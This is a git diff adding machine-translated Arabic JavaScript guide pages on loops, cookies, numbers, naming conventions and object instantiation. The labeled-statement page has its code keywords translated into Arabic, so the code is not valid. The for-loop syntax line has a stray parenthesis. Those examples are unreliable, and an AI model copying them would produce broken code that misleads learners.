+المصدر: [**فعل ... بينما**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/do…while)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/loops/for-in-loop/index.md b/client/src/guide/arabic/javascript/loops/for-in-loop/index.md
new file mode 100644
index 0000000000..3723b2ab24
--- /dev/null
+++ b/client/src/guide/arabic/javascript/loops/for-in-loop/index.md
@@ -0,0 +1,70 @@
+---
+title: For...In Loop
+localeTitle: ل ... في حلقة
+---
+عبارة `for...in` iterates عبر خصائص enumerable كائن ، في ترتيب اعتباطي. لكل خاصية مميزة ، يمكن تنفيذ البيانات.
+
+ `for (variable in object) { 
+ ... 
+ } 
+` 
+
+| مطلوب / اختياري | المعلمة | الوصف | | ------------------- | ----------- | ----------------- -------------------------------------------------- --- | | مطلوب | متغير يتم تعيين اسم خاصية مختلفة للمتغير على كل التكرار. | | اختياري | كائن | الكائن الذي تتكرر خصائصه التي لا تعد ولا تحصى. |
+
+## أمثلة
+
+ `// Initialize object. 
+ a = { "a": "Athens", "b": "Belgrade", "c": "Cairo" } 
+ 
+ // Iterate over the properties. 
+ var s = "" 
+ for (var key in a) { 
+    s += key + ": " + a[key]; 
+    s += "<br />"; 
+    } 
+ document.write (s); 
+ 
+ // Output: 
+ // a: Athens 
+ // b: Belgrade 
+ // c: Cairo 
+ 
+ // Initialize the array. 
+ var arr = new Array("zero", "one", "two"); 
+ 
+ // Add a few expando properties to the array. 
+ arr["orange"] = "fruit"; 
+ arr["carrot"] = "vegetable"; 
+ 
+ // Iterate over the properties and elements. 
+ var s = ""; 
+ for (var key in arr) { 
+    s += key + ": " + arr[key]; 
+    s += "<br />"; 
+ } 
+ 
+ document.write (s); 
+ 
+ // Output: 
+ //   0: zero 
+ //   1: one 
+ //   2: two 
+ //   orange: fruit 
+ //   carrot: vegetable 
+ 
+ // Efficient way of getting an object's keys using an expression within the for-in loop's conditions 
+ var myObj = {a: 1, b: 2, c:3}, myKeys = [], i=0; 
+ for (myKeys[i++] in myObj); 
+ 
+ document.write(myKeys); 
+ 
+ //Output: 
+ //   a 
+ //   b 
+ //   c 
+` 
+
+# موارد Ohter:
+
+*   [وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for…in)
+*   [رابط MSDN](https://msdn.microsoft.com/library/55wb2d34.aspx)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/loops/for-loop/index.md b/client/src/guide/arabic/javascript/loops/for-loop/index.md
new file mode 100644
index 0000000000..fd5d29fbef
--- /dev/null
+++ b/client/src/guide/arabic/javascript/loops/for-loop/index.md
@@ -0,0 +1,82 @@
+---
+title: For Loop
+localeTitle: لحلقة
+---
+### بناء الجملة
+
+ `for ([initialization]); [condition]; [final-expression]) { 
+   // statement 
+ } 
+` 
+
+جافا سكريبت `for` بيان يتكون من ثلاث عبارات وبيان:
+
+## وصف
+
+*   التهيئة - تشغيل قبل تنفيذ الأول في الحلقة. يستخدم هذا التعبير عادة لإنشاء عدادات. يتم تحديد نطاق المتغيرات التي تم إنشاؤها هنا للحلقة. بمجرد الانتهاء من الحلقة هو التنفيذ يتم تدميرها.
+*   condition - التعبير الذي يتم التحقق منه قبل تنفيذ كل تكرار. إذا تم حذف هذا التعبير ، فسيتم تقييم هذا التعبير على "true". إذا تم تقييمه إلى true ، فسيتم تنفيذ عبارة الحلقة. إذا تم تقييمه إلى false ، فستتوقف الحلقة.
+*   التعبير النهائي - التعبير الذي يتم تشغيله بعد كل عملية تكرار. عادة ما تستخدم لزيادة عداد. ولكن يمكن استخدامه لتقليل عداد أيضا.
+*   statement - تكرار الرمز في الحلقة
+
+يمكن حذف أي من هذه العبارات الثلاثة أو البيان. للحلقات المستخدمة عادة لحساب عدد معين من التكرار لتكرار العبارة. استخدم عبارة `break` للخروج من الحلقة قبل تقييم تعبير الشرط إلى false.
+
+## المخاطر المشتركة
+
+**تجاوز حدود صفيف**
+
+عند الفهرسة عبر مصفوفة عدة مرات ، من السهل تجاوز حدود الصفيف (على سبيل المثال ، حاول أن ترجع العنصر الرابع في صفيف مكون من 3 عناصر).
+
+ `    // This will cause an error. 
+    // The bounds of the array will be exceeded. 
+    var arr = [ 1, 2, 3 ]; 
+    for (var i = 0; i <= arr.length; i++) { 
+       console.log(arr[i]); 
+    } 
+ 
+    output: 
+    1 
+    2 
+    3 
+    undefined 
+` 
+
+هناك طريقتان لإصلاح هذا الرمز. اضبط الشرط إما على `i < arr.length` أو `i <= arr.length - 1`
+
+### أمثلة
+
+تكرار عبر الأعداد الصحيحة من 0-8
+
+ `for (var i = 0; i < 9; i++) { 
+   console.log(i); 
+ } 
+ 
+ output: 
+ 0 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+ 6 
+ 7 
+ 8 
+` 
+
+الخروج من حلقة قبل تعبير الشرط غير صحيح
+
+ `for (var elephant = 1; elephant < 10; elephant+=2) { 
+    if (elephant === 7) { 
+        break; 
+    } 
+    console.info('elephant is ' + elephant); 
+ } 
+ 
+ output: 
+ elephant is 1 
+ elephant is 3 
+ elephant is 5 
+` 
+
+### موارد آخرى
+
+*   [MDN - للإدلاء بالبيانات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/loops/for-of-loop/index.md b/client/src/guide/arabic/javascript/loops/for-of-loop/index.md
new file mode 100644
index 0000000000..1a885459be
--- /dev/null
+++ b/client/src/guide/arabic/javascript/loops/for-of-loop/index.md
@@ -0,0 +1,83 @@
+---
+title: For...Of Loop
+localeTitle: ل ... من حلقة
+---
+ينشئ `for...of` statement حلقة مكررة على كائنات متكررة (بما في ذلك Array و Map و Set و Arguments object وهكذا) ، مع استدعاء خط تكرار مخصص مع عبارات ليتم تنفيذها لقيمة كل خاصية مميزة.
+
+ `    for (variable of object) { 
+        statement 
+    } 
+` 
+
+| | الوصف | | ---------- | ------------------------------------- | | متغير | في كل تكرار يتم تعيين قيمة خاصية مختلفة للمتغير. | | كائن الكائن الذي تتكرر خصائصه التي لا تعد ولا تحصى. |
+
+## أمثلة
+
+### مجموعة مصفوفة
+
+ `    let arr = [ "fred", "tom", "bob" ]; 
+ 
+    for (let i of arr) { 
+        console.log(i); 
+    } 
+ 
+    // Output: 
+    // fred 
+    // tom 
+    // bob 
+` 
+
+### خريطة
+
+ `    var m = new Map(); 
+    m.set(1, "black"); 
+    m.set(2, "red"); 
+ 
+    for (var n of m) { 
+        console.log(n); 
+    } 
+ 
+    // Output: 
+    // 1,black 
+    // 2,red 
+` 
+
+### جلس
+
+ `    var s = new Set(); 
+    s.add(1); 
+    s.add("red"); 
+ 
+    for (var n of s) { 
+        console.log(n); 
+    } 
+ 
+    // Output: 
+    // 1 
+    // red 
+` 
+
+### كائن الحجج
+
+ `    // your browser must support for..of loop 
+    // and let-scoped variables in for loops 
+ 
+    function displayArgumentsObject() { 
+        for (let n of arguments) { 
+            console.log(n); 
+        } 
+    } 
+ 
+ 
+    displayArgumentsObject(1, 'red'); 
+ 
+    // Output: 
+    // 1 
+    // red 
+` 
+
+# موارد آخرى:
+
+*   [وصلة MDN](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/for…of)
+*   [رابط MSDN](https://msdn.microsoft.com/library/dn858238%28v=vs.94%29.aspx?f=255&MSPPError=-2147217396)
+*   [argumentsiterator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments/@@iterator)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/loops/index.md b/client/src/guide/arabic/javascript/loops/index.md
new file mode 100644
index 0000000000..349f5d365e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/loops/index.md
@@ -0,0 +1,15 @@
+---
+title: Loops
+localeTitle: الحلقات
+---
+يتم استخدام الحلقات في JavaScript لإجراء المهام المتكررة بناءً على شرط. الشروط عادة ما تكون `true` أو `false` عند تحليلها. تستمر حلقة مستمرة حتى تعود الحالة المعرفة `false` .
+
+هناك ثلاثة أنواع شائعة من الحلقات:
+
+*   [إلى عن على](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [في حين](http://forum.freecodecamp.com/t/javascript-while-loop/14668)
+*   [افعل اثناء](http://forum.freecodecamp.com/t/javascript-for-loop/14662)
+
+يمكنك كتابة `js for` `js while` أو `js while` `js do while` للحصول على مزيد من المعلومات حول أي من هذه.
+
+> روابط: [MDN **للحلقة**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/loops/labeled-statement/index.md b/client/src/guide/arabic/javascript/loops/labeled-statement/index.md
new file mode 100644
index 0000000000..018c039604
--- /dev/null
+++ b/client/src/guide/arabic/javascript/loops/labeled-statement/index.md
@@ -0,0 +1,34 @@
+---
+title: Labeled Statement
+localeTitle: البيان المعنون
+---
+## البيان المعنون
+
+يستخدم **بيان إعتبر** مع `break` و `continue` التصريحات ويعمل على تحديد بيان التي تكون `break` و `continue` تطبيق البيانات.
+
+### بناء الجملة
+
+\`\` \`جافا سكريبت اسم الطابع: صياغات
+
+ ``### Usage 
+ Without the use of a `labeled` statement the `break` statement can only break out of a loop or a `switch` statement. Using a `labeled` statement allows `break` to jump out of any code block. 
+ #### Example 
+`` 
+
+جافا سكريبت foo: { console.log ("هذا يطبع:")؛ استراحة console.log ("هذا لن يطبع أبداً.")؛ } console.log ("لأن التنفيذ يقفز إلى هنا!") /\* انتاج هذا يطبع: لأن التنفيذ يقفز إلى هنا! \* /
+
+ ``When used with a `continue` statement the `labeled` statement allows you to skip a loop iteration, the advantage comes from being able to jump out from an inner loop to an outer one when you have nested loop statements. Without the use of a `labeled` statement you could only jump out of the existing loop iteration to the `next iteration of the same loop.` 
+ #### Example 
+`` 
+
+جافا سكريبت // بدون بيان مصنّف ، عند j == i interoping jumps to next toeration اختبار الوظيفة () { لـ (var i = 0؛ i <3؛ i ++) { console.log ("i =" + i)؛ لـ (var j = 0؛ j <3؛ j ++) { if (j === i) { استمر؛ } console.log ("j =" + j)؛ } } }
+
+/\* انتاج i = 0 (ملاحظة j = 0 مفقود) ي = 1 ي = 2 ط = 1 j = 0 (ملاحظة j = 1 مفقودة) ي = 2 ط = 2 ي = 0 j = 1 (ملاحظة j = 2 غير موجودة) \* /
+
+// باستخدام عبارة مسماة يمكننا القفز إلى الحلقة الخارجية (i) بدلاً من ذلك اختبار الوظيفة () { outer: for (var i = 0؛ i <3؛ i ++) { console.log ("i =" + i)؛ لـ (var j = 0؛ j <3؛ j ++) { if (j === i) { تابع الخارجي } console.log ("j =" + j)؛ } } }
+
+/ \* i = 0 (يتم تسجيل j فقط عندما يكون أقل من i) ط = 1 ي = 0 ط = 2 ي = 0 ي = 1 \* / \`\` \`
+
+### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/label)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/loops/while-loop/index.md b/client/src/guide/arabic/javascript/loops/while-loop/index.md
new file mode 100644
index 0000000000..b46392b070
--- /dev/null
+++ b/client/src/guide/arabic/javascript/loops/while-loop/index.md
@@ -0,0 +1,45 @@
+---
+title: While Loop
+localeTitle: حائط اللوب
+---
+تبدأ الحلقة أثناء تقييم الشرط. إذا كان الشرط صحيحًا ، فسيتم تنفيذ العبارة (القيم). إذا كان الشرط خاطئًا ، فلن يتم تنفيذ العبارة (القيم). بعد ذلك ، في حين ينتهي الحلقة.
+
+في ما يلي **صيغة بناء الجملة** :
+
+## بناء الجملة:
+
+ `while (condition) 
+ 
+ { 
+ 
+  statement(s); 
+ 
+ } 
+` 
+
+_statement (s):_ بيان يتم تنفيذه طالما يتم تقييم الشرط إلى true.
+
+_الحالة:_ هنا ، الشرط عبارة عن تعبير منطقي يتم تقييمه قبل كل مسار خلال الحلقة. إذا تم تقييم هذا الشرط إلى true ، فسيتم تنفيذ العبارة (الأكواد). عندما يتم تقييم الشرط إلى false ، يستمر التنفيذ مع العبارة بعد حلقة while.
+
+## مثال:
+
+ `    var i = 1; 
+    while (i < 10) 
+    { 
+      console.log(i); 
+       i++; // i=i+1 same thing 
+    } 
+ 
+    Output: 
+    1 
+    2 
+    3 
+    4 
+    5 
+    6 
+    7 
+    8 
+    9 
+` 
+
+_المصدر: [While Loop - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/while)_
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/manipulate-javascript-objects/index.md b/client/src/guide/arabic/javascript/manipulate-javascript-objects/index.md
new file mode 100644
index 0000000000..36bf131de9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/manipulate-javascript-objects/index.md
@@ -0,0 +1,26 @@
+---
+title: Manipulate JavaScript Objects
+localeTitle: التعامل مع كائنات جافا سكريبت
+---
+هناك عدة طرق للتعامل مع خصائص الكائن وتدوين النقطة وتدوين الأقواس.
+
+إضافة خصائص إلى كائنات بها تدوين نقطي:
+
+ `myObject.myProperty = "myValue"; 
+` 
+
+إضافة خصائص إلى كائنات باستخدام تدرج قوس:
+
+ `myObject['myProperty'] = "myValue"; 
+` 
+
+باستخدام تدرج القوس ، يمكننا استخدام المتغيرات كأسماء للممتلكات:
+
+ `var dynamicProperty = "myProperty"; 
+ myObject[dynamicProperty] = "myValue"; 
+` 
+
+يمكننا أيضًا حذفها كما يلي:
+
+ `delete(myObject.myProperty); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/manipulating-cookies/index.md b/client/src/guide/arabic/javascript/manipulating-cookies/index.md
new file mode 100644
index 0000000000..14e12c9388
--- /dev/null
+++ b/client/src/guide/arabic/javascript/manipulating-cookies/index.md
@@ -0,0 +1,65 @@
+---
+title: Manipulating Cookies
+localeTitle: التلاعب الكوكيز
+---
+## التلاعب الكوكيز
+
+يعد الحصول على ملفات تعريف الارتباط أو إعدادها عملية مباشرة يمكن تحقيقها عن طريق الوصول إلى خاصية ملفات تعريف الارتباط في كائن مستند المستعرض.
+
+تجد موقعًا وصفة مدهشة وغنية بالمعلومات لطهي وجبة أجنبية لضيوفك ولكنها باللغة الأجنبية ، ولحسن الحظ يمكنك تغيير اللغة على الموقع الإلكتروني للموقع باستخدام قائمة اختيار منسدلة. بعد يومين ، تزور الموقع نفسه مرة أخرى لعمل طبق لأمك ، لكنك الآن ترى موقع الويب بلغتك الأصلية بشكل افتراضي.
+
+_يتذكر موقع الويب اللغة التي حددتها في زيارتك الأخيرة ويخزنها في صورة **ملف تعريف ارتباط** . الآن اخترت تلقائيا لغتك المفضلة عن طريق قراءة ملف تعريف الارتباط هذا._
+
+`userLanguage:french`
+
+يتم استخدام ملفات تعريف الارتباط لتخزين البيانات في شكل `name:value` زوج `name:value` على جانب العميل. وهو يسمح لمستخدم معين بتخزين معلومات محددة على موقع الويب على المتصفح لاستخدامها لاحقًا. يمكن أن تكون المعلومات المخزنة `sessionID` ، `userCountry` ، `visitorLanguage` وما إلى ذلك.
+
+طريقة أخرى لتخزين البيانات على جانب العميل هي `localstorage` .
+
+### تعيين ملف تعريف الارتباط
+
+يمكن تعيين ملف تعريف ارتباط باستخدام البنية أدناه ، ولكن ينصح بشدة بمكتبة ، مثل المكتبة المذكورة في النهاية ، لجعل التطوير أكثر سهولة على الجميع. أثناء تعيين ملف تعريف الارتباط ، يمكنك تعيين انتهاء الصلاحية له أيضًا. إذا تم تخطي ملف تعريف الارتباط ، فسيتم مسحه عند إغلاق المتصفح.
+
+**ضع في اعتبارك أن ملف تعريف الارتباط الذي تم تعيينه بواسطة نطاق معين لا يمكن قراءته إلا من خلال ذلك النطاق والنطاقات الفرعية فقط.**
+
+ `// Using vanilla javascript 
+ document.cookie = 'userLanguage=french; expires=Sun, 2 Dec 2017 23:56:11 UTC; path=/'; 
+ 
+ //Using JS cookie library 
+ Cookies.set('userLanguage', 'french', { expires: 7, path: '/' }); 
+` 
+
+_تنتهي صلاحية ملف تعريف الارتباط في 7 أيام_
+
+### احصل على ملفات تعريف الارتباط
+
+ `// Using vanilla javascript 
+ console.log(document.cookie) 
+ 
+ // => "_ga=GA1.2.1266762736.1473341790; userLanguage=french" 
+ 
+ // Using JS cookie library 
+ Cookies.get('userLanguage'); 
+ 
+ // => "french" 
+` 
+
+### حذف ملف تعريف الارتباط
+
+لحذف ملف تعريف ارتباط ، يتم تعيين تاريخ انتهاء الصلاحية إلى شيء ما في الماضي.
+
+ `// Using vanilla javascript 
+ document.cookie = 'userLanguage; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/'; 
+ 
+ //Using JS cookie library 
+ Cookies.remove('userLanguage'); 
+` 
+
+_إذا وجدت نفسك تتعامل مع ملفات تعريف الارتباط كثيرًا في مشروعك ، فالرجاء استخدام مكتبة مثل [JS Cookie](https://github.com/js-cookie/js-cookie) وحفظ وقتًا كبيرًا من الوقت._
+
+#### معلومات اكثر:
+
+*   [وأوضح كوكي](https://www.quirksmode.org/js/cookies.html)
+*   [دليل MDN كوكي](https://developer.mozilla.org/en-US/docs/Web/API/document/cookie)
+*   [Udacity كوكي فيديو](https://www.youtube.com/watch?v=xdH9zsW1CK0)
+*   [ملفات تعريف الارتباط HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/multiply-two-numbers-with-javascript/index.md b/client/src/guide/arabic/javascript/multiply-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..963adfb3fb
--- /dev/null
+++ b/client/src/guide/arabic/javascript/multiply-two-numbers-with-javascript/index.md
@@ -0,0 +1,12 @@
+---
+title: Multiply Two Numbers with JavaScript
+localeTitle: اضرب رقمين مع جافا سكريبت
+---
+تستخدم JavaScript استخدام الرمز `*` للضرب.
+
+ `var product = 8 * 10; 
+` 
+
+سيكون "المنتج" بقيمة "80" بعد هذا السطر.
+
+عند إجراء عمليات حسابية ، من الممكن استخدام الأقواس لتحديد أولويات الأرقام التي يجب أن تتضاعف معًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/naming-convention-for-javascript/index.md b/client/src/guide/arabic/javascript/naming-convention-for-javascript/index.md
new file mode 100644
index 0000000000..eb76ad01e3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/naming-convention-for-javascript/index.md
@@ -0,0 +1,26 @@
+---
+title: Naming Convention for JavaScript
+localeTitle: تسمية الاتفاقية لجافا سكريبت
+---
+هنا سوف تحصل على نظرة عامة على حالات الأكواد المختلفة التي يتم استخدامها على نطاق واسع.
+
+## camelCase
+
+في البرمجة ، يبدو تنسيق camelCase لأسماء المتغيرات كما يلي:
+
+ `var camelCase = "lower-case first word, capitalize each subsequent word"; 
+` 
+
+## PascalCase
+
+PascalCase (أو CamelCase) هو البديل من camelCase. وهو يختلف عن camelCase من خلال الاستفادة من كل كلمة ، _بما_ في _ذلك_ الكلمة الأولى:
+
+ `var PascalCase = "upper-case every word"; 
+` 
+
+## snake\_case
+
+هناك حالة شائعة أخرى تسمى snake\_case تفصل كل كلمة بها شرطات سفلية بهذه الطريقة:
+
+ `var snake_case = "lower-case everything, but separate words with underscores"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/numbers/index.md b/client/src/guide/arabic/javascript/numbers/index.md
new file mode 100644
index 0000000000..fe686bc4df
--- /dev/null
+++ b/client/src/guide/arabic/javascript/numbers/index.md
@@ -0,0 +1,72 @@
+---
+title: Numbers
+localeTitle: أعداد
+---
+## أعداد
+
+يعتمد تطبيق `number` s في JavaScript على معيار `IEEE 754` ، الذي يُسمى غالبًا "نقطة عائمة".
+
+[IEEE 754 ويكيبيديا لينك](https://en.wikipedia.org/wiki/IEEE_754) [IEEE 754 Double Decision Floating Point Visualization](http://bartaz.github.io/ieee754-visualization/)
+
+وأعرب عدد الحرفية عموما `base-10` حرفية عشري.
+
+ `var foo = 47; 
+ var bar = 47.9; 
+` 
+
+الجزء الرئيسي من القيمة العشرية ، إذا كان `0` ، هو اختياري:
+
+ `var same = 0.47; 
+ var stillSame = .47; 
+` 
+
+وبالمثل ، فإن الجزء زائدة (الجزئي) من قيمة عشرية بعد `.` ، إذا كان `0` ، هو اختياري:
+
+ `var a = 47.0; 
+ var b = 47.; 
+` 
+
+بشكل افتراضي ، سيتم إخراج معظم الأرقام في شكل `base-10` decimals ، مع إزالة الكسر `0` ثانية. وبالتالي:
+
+ `var foo = 47.300; 
+ var bar = 47.0; 
+ 
+ foo; // 47.3 
+ bar; // 47 
+` 
+
+يمكن كتابة `numbers` كبيرة جدًا أو صغيرة جدًا على النحو التالي:
+
+ `var foo = 47e8; // 4700000000 
+ var baz = 47e-8; // 00.00000047 
+` 
+
+يمكن استخدام طريقة `toExponential` لتحويل `number` إلى `exponential notation` .
+
+ `var foo = 47e8; 
+ foo;  // 4700000000 
+ foo.toExponential()   //"47e8" 
+` 
+
+لدى الأرقام الوصول إلى الأساليب المضمنة في `Number.prototype` .
+
+فمثلا: `toFixed()` طريقة `toFixed()` رقمًا مع عدد محدد من الأرقام إلى يمين `toFixed()` العشرية.
+
+ `var foo = 47.69; 
+ foo.toFixed(0);  // "48" 
+ foo.toFixed(1);  // "47.7" 
+ foo.toFixed(2);  // "47.69" 
+` 
+
+> اكتب `Number.prototype` في متصفحك `Number.prototype` الطرق الأخرى المتاحة بنفسك.
+
+#### معلومات اكثر:
+
+1.  [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type)
+2.  [أرقام جافا سكريبت](https://www.w3schools.com/js/js_numbers.asp)
+
+#### المراجع
+
+1.  [أنواع وقواعد النحو](https://github.com/getify/You-Dont-Know-JS/tree/master/types%20%26%20grammar) كايل سيمبسون.
+2.  [مواصفات لغة ECMAScript: 4.3.20](https://www.ecma-international.org/ecma-262/5.1/#sec-4.3.20)
+3.  [مواصفات لغة ECMAScript: 15.7 عدد الكائنات](https://www.ecma-international.org/ecma-262/5.1/#sec-15.7)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/object-instantiation/functional/index.md b/client/src/guide/arabic/javascript/object-instantiation/functional/index.md
new file mode 100644
index 0000000000..ff518eaf93
--- /dev/null
+++ b/client/src/guide/arabic/javascript/object-instantiation/functional/index.md
@@ -0,0 +1,147 @@
+---
+title: Functional
+localeTitle: وظيفي
+---
+ `var fun = function(a, b) { 
+  var funInstance = {}; 
+  funInstance.a = a; 
+  funInstance.b = b; 
+  funInstance.method1 = function() { 
+    // method code here 
+  } 
+  funInstance.method2 = function() { 
+    // method code here 
+  } 
+  funInstance.method3 = function() { 
+    // method code here 
+  } 
+  return funInstance; 
+ } 
+ var myFun = fun(1, 2); 
+ myFun.method1(); 
+` 
+
+## كيف يمكنني التعرف عليه؟
+
+إنشاء مثيل كائن وظيفي بإنشاء مثيل فئة مع دالة ، مثل القيام الخيارات الأخرى. الفرق هو أنه يتم تعريف جميع الطرق المرتبطة أيضا في وظيفة المنشئ.
+
+## لماذا أستخدمها؟
+
+نظرًا لأنه يتم إنشاء مجموعة جديدة من الطرق لكل مثيل من الكائن ويمكن أن تستهلك مقدارًا معينًا من الذاكرة ، فإن إنشاء المظهر الوظيفي يكون جيدًا عندما تعرف أنك لن تعمل مع الكثير من الحالات. كما أنه من الجيد أيضًا أن يتم فهم الشفرة الخاصة بك بسهولة بواسطة مبرمجات جافا سكريبت الجديدة والمتمرّسة على حدٍّ سواء ، نظرًا لأن عملية التأشير تكون مستقلة تمامًا ومن السهل رؤية العلاقات بين الأساليب ومثيلات الكائن.
+
+## ما هي عيوبه؟
+
+الجانب السلبي مع Instantal الوظيفية هو أنه إذا قمت بإجراء أي تغييرات على التعليمات البرمجية (مثل إضافة المزيد من الطرق) ، لن يتم تحديث أي مثيلات للكائن الذي تم إنشاؤه قبل إجراء هذه التغييرات. قد ينتهي بك الأمر مع حالتين تحتويان على معلومات طرق مختلفة.
+
+* * *
+
+## العنوان: وظيفية المشتركة
+
+ `var fun = function(a, b) { 
+  var funInstance = {}; 
+  funInstance.a = a; 
+  funInstance.b = b; 
+  extend(funInstance, funMethods); 
+  return funInstance; 
+ } 
+ var extend = function(to, from) { 
+  for (var key in from) { 
+    to[key] = from[key]; 
+  } 
+ } 
+ var funMethods = {}; 
+ funMethods.method1 = function() { 
+    // method code here 
+ } 
+ funMethods.method2 = function() { 
+    // method code here 
+ } 
+ funMethods.method3 = function() { 
+    // method code here 
+ } 
+ var myFun = fun(1, 2); 
+ myFun.method1(); 
+` 
+
+## كيف يمكنني التعرف عليه؟
+
+والفرق الرئيسي بين الوظائف والوظائف المشتركة ، هو أنه في الوظائف المشتركة نشارك أساليبنا. بدلاً من الإعلان عن طرق في وظيفة Instantiation ، لدينا كائن منفصل يحمل جميع أساليبنا. من أجل استخدام الأساليب ، نقوم بتوسيعها إلى كل مثيل من الكائن الذي يتم إنشاؤه.
+
+## لماذا أستخدمها؟
+
+تتيح الوظيفة المشتركة لنا استخدام المراجع إلى الأساليب ، بدلاً من التصريح عن طرقنا وتخزينها لكل مثيل من وجوهنا ، مما يوفر لنا المساحة.
+
+## ما هي عيوبه؟
+
+الجانب السلبي هو أنه بما أن الأساليب يتم الرجوع إليها من خلال مؤشرات إلى كائن الطرق ، إذا كنا سنقوم بتحديث كائن الطرق بأي طريقة ، فلن يتم تحديث مثيلات الكائن التي تم إنشاؤها قبل التغييرات. قد ينتهي بك الأمر مع حالتين من الكائن الذي يشير إلى إصدارين مختلفين من الأساليب.
+
+* * *
+
+## العنوان: Prototypal
+
+ `var fun = function(a, b) { 
+  var funInstance = Object.create(funMethods); 
+  funInstance.a = a; 
+  funInstance.b = b; 
+  return funInstance; 
+ } 
+ var funMethods = {}; 
+ funMethods.method1 = function() { 
+    // method code here 
+ } 
+ funMethods.method2 = function() { 
+    // method code here 
+ } 
+ funMethods.method3 = function() { 
+    // method code here 
+ } 
+ var myFun = fun(1, 2); 
+ myFun.method1(); 
+` 
+
+## كيف يمكنني التعرف عليه؟
+
+يشبه Prototypal الوظيفية المشتركة في أن كلاهما يستخدمان كائن طرق منفصل لاستيعاب كافة الطرق التي سيتم مشاركتها بين مثيلات الكائن الذي نقوم بإنشائه. الفرق هو أنه يمكننا استخدام سلسلة النموذج الأولي. يمكننا إنشاء الكائن باستخدام Object.create (prototype) من أجل إرفاق الطرق إلى مثيل الكائن لدينا. يعتبر الكائن الذي يحتفظ بطرقنا المشتركة هو النموذج الأولي.
+
+## لماذا أستخدمها؟
+
+إذا قمت بإجراء تغييرات على النموذج الأولي الخاص بك بعد إنشاء مثيل كائن ، فسيتم تحديث ذلك المثيل. لن ينتهي الأمر مع اثنين من الحالات مع نفس النموذج الأولي التي لديها طرق مختلفة.
+
+## ما هي عيوبه؟
+
+تتمثل عيوب استخدام هذه الطريقة في أنها تتطلب خطوات إضافية ورمزًا إضافيًا. يجب علينا ليس فقط أن نعيد ونعيد جسمنا كما كان من قبل ، ولكن علينا أيضًا أن نزينه.
+
+* * *
+
+## العنوان: Pseudoclassical
+
+ `var Fun = function(a, b) { 
+  // this = Object.create(Fun.prototype); 
+  this.a = a; 
+  this.b = b; 
+  // return this; 
+ } 
+ Fun.prototype.method1 = function() { 
+    // method code here 
+ } 
+ Fun.prototype.method2 = function() { 
+    // method code here 
+ } 
+ Fun.prototype.method3 = function() { 
+    // method code here 
+ } 
+ var myFun = new Fun(1, 2); 
+ myFun.method1(); 
+` 
+
+## كيف يمكنني التعرف عليه؟
+
+Instantization Classical Pseudoclassical Instantiation هي إلى حد بعيد تحتوي على أقل كمية من التعليمات البرمجية. بدلاً من إنشاء كائن جديد وإعادته ، تقوم الكلمة الأساسية الجديدة بذلك. تحت غطاء محرك الأقراص ، عند استخدام الكلمة الأساسية الجديدة لإنشاء كائن ، يمكنك إنشاء كائن جديد باستخدام هذا = Object.create (Object.prototype) ، حيث يشير هذا إلى النموذج الأولي المسمى بعد الكلمة الأساسية الجديدة. عندما نعرِّف أساليبنا ، نستخدم الكلمة الرئيسية النموذجية.
+
+## لماذا أستخدمها؟
+
+يقال أن الكاذبة الكلاسيكية هي أسرع نموذج للاحتكاك ، وهو أمر مفيد إذا كنت تخلق عشرات الآلاف من الحالات. وهو أيضًا الأكثر ملاءمةً لأنه يستخدم وظائف جافا سكريبت.
+
+## ما هي عيوبه؟
+
+الجانب السلبي من Instantization الكلاسيكية الكاذبة هو أنه يتطلب معرفة أكثر قليلاً حول ما تقوم به JavaScript تحت غطاء محرك السيارة ، ولا سيما مع هذه الكلمة الأساسية. هذا يجعل هذا النوع من عملية إنشاء الكائن أكثر تعقيدًا لفهمه ، خاصة إذا كان شخص آخر يقرأ شفرتك
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/object-instantiation/index.md b/client/src/guide/arabic/javascript/object-instantiation/index.md
new file mode 100644
index 0000000000..0df7adb802
--- /dev/null
+++ b/client/src/guide/arabic/javascript/object-instantiation/index.md
@@ -0,0 +1,66 @@
+---
+title: Object Instantiation
+localeTitle: Instantization كائن
+---
+## Instantization كائن
+
+في Javascript ومعظم اللغات الأخرى ، يحتوي الكائن على سلسلة من الخصائص ، والتي تعد زوجًا رئيسيًا ذا قيمة. هناك العديد من الخيارات المتاحة لك عندما تحتاج إلى بناء كائن.
+
+### تهيئة متغير كائن
+
+يمكنك إنشاء كائن بخصائص محددة مسبقًا مثل:
+
+ `let myObject = { 
+  name: "Dave", 
+  age: 33 
+ } 
+` 
+
+### خلق كائن فارغ
+
+يؤدي هذا إلى إنشاء كائن فارغ داخل متغير myObject الخاص بنا:
+
+ `let myObject = new Object(); 
+` 
+
